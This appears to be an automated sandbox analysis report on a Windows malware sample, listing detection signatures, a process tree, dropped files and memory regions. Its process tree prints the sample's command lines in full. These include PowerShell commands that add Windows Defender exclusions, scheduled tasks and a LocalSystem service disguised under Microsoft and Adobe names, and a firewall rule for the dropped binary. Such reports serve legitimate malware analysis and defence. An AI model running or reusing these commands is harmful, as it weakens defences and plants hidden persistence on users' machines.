Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/07/2026, 08:32

General

  • Target
    f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe
  • Size 583KB
  • Sample260706-kfhtqagx3j
  • SHA256 f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe
    "C:\Users\Admin\AppData\Local\Temp\f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3864
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Media'"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5180
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Media'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5508
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\InputMethod\SHARED'"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\InputMethod\SHARED'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1064
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM'"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:832
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4672
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Media'"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Media'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3080
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64'"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4532
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc minute /rl highest /mo 1 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2300
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc minute /rl highest /mo 1 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4380
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3940
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1844
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1880
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:6084
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc create "System Diagnostics Host" binPath= "C:\Windows\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:6052
      • C:\Windows\system32\sc.exe
        sc create "System Diagnostics Host" binPath= "C:\Windows\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto
        3⤵
        • Launches sc.exe
        PID:2184
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks." & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4100
      • C:\Windows\system32\sc.exe
        sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks."
        3⤵
        • Launches sc.exe
        PID:2744
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc start "System Diagnostics Host" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5000
      • C:\Windows\system32\sc.exe
        sc start "System Diagnostics Host"
        3⤵
        • Launches sc.exe
        PID:5096
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c netsh advfirewall firewall add rule name="Window Listner" dir=in action=allow program="C:\Windows\Media\mppr.exe" enable=yes & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3324
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Window Listner" dir=in action=allow program="C:\Windows\Media\mppr.exe" enable=yes
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        PID:3916
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5s4o0sy1.hql.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2632
      • C:\Windows\system32\timeout.exe
        timeout 8
        3⤵
        • Delays execution with timeout.exe
        PID:5012
    • C:\Windows\Media\mppr.exe
      "C:\Windows\Media\mppr.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:1548
  • C:\Windows\SysWOW64\SystemDiagnosticsHost.exe
    C:\Windows\SysWOW64\SystemDiagnosticsHost.exe
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    PID:3820
  • C:\Windows\Media\mppr.exe
    C:\Windows\Media\mppr.exe
    1⤵
    • Executes dropped EXE
    PID:3560
  • C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe
    C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:4472
  • C:\Windows\Media\mppr.exe
    "C:\Windows\Media\mppr.exe"
    1⤵
    • Executes dropped EXE
    PID:6112
  • C:\Windows\Media\mppr.exe
    "C:\Windows\Media\mppr.exe"
    1⤵
    • Executes dropped EXE
    PID:2992
  • C:\Windows\Media\mppr.exe
    "C:\Windows\Media\mppr.exe"
    1⤵
      PID:1960

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 01b438f1690c10af13605789957f5bb002b78535c846a758ad11a04a3f68a0fb
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 830aefc5b1c7717a5829a916b7268d29e846fcc05374208412b34fdeabc08bda
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 cd77a16bcaa7da8ab465d8637c2bfd282309d97519b4085e114c883924e1869a
          • MD5 SHA1 SHA512 TLSH

          5s4o0sy1.hql.bat

          • Path C:\Users\Admin\AppData\Local\Temp\5s4o0sy1.hql.bat
          • Size 208B
          • SHA256 e966ea8ce2f2d838e2ced53e19fe6985bc9ff187c006f396c1040c31b692dd8b
          • MD5 SHA1 SHA512 TLSH

          Tmp8979.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\Tmp8979.tmp
          • Size 1KB
          • SHA256 788c8449349f85b99ae935fa8fd219e29ee34851adfbb28086aa6ecd40647267
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_avfc5whc.klu.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_avfc5whc.klu.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          mppr.exe

          • Path C:\Windows\Media\mppr.exe
          • Size 583KB
          • SHA256 f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          msldriver.dll

          • Path C:\Windows\Media\msldriver.dll
          • Size 158KB
          • SHA256 077c80b454bca94020a557ea19d3a4244dfb3e9d7fd32fe29c8373cf1253463f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          SystemDiagnosticsHost.exe

          • Path C:\Windows\SysWOW64\SystemDiagnosticsHost.exe
          • Size 18KB
          • SHA256 737c0a66e6566f0a9cb2c889dc6508daf203f3a1157a00abf42e5d257f82d613
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3520-172-0x0000000003240000-0x0000000003241000-memory.dmp

          memory/3520-166-0x0000000002F40000-0x0000000002F41000-memory.dmp

          memory/3820-144-0x0000000000FA0000-0x0000000000FAA000-memory.dmp

          memory/3820-145-0x0000000002360000-0x0000000002382000-memory.dmp

          memory/3864-0-0x000002146A970000-0x000002146AA06000-memory.dmp

          memory/3864-93-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/3864-155-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/3864-51-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/3864-2-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/3864-1-0x00007FFF18B8F000-0x00007FFF18B90000-memory.dmp

          memory/5508-13-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-17-0x0000016968AC0000-0x0000016968ADE000-memory.dmp

          memory/5508-26-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-28-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-23-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-24-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-22-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-21-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-20-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-19-0x0000016968AE0000-0x0000016968AEA000-memory.dmp

          memory/5508-18-0x0000016968D30000-0x0000016968DE2000-memory.dmp

          memory/5508-25-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-14-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-8-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-12-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-11-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-10-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-9-0x0000016968A10000-0x0000016968A32000-memory.dmp

          memory/5508-5-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-4-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

          memory/5508-3-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp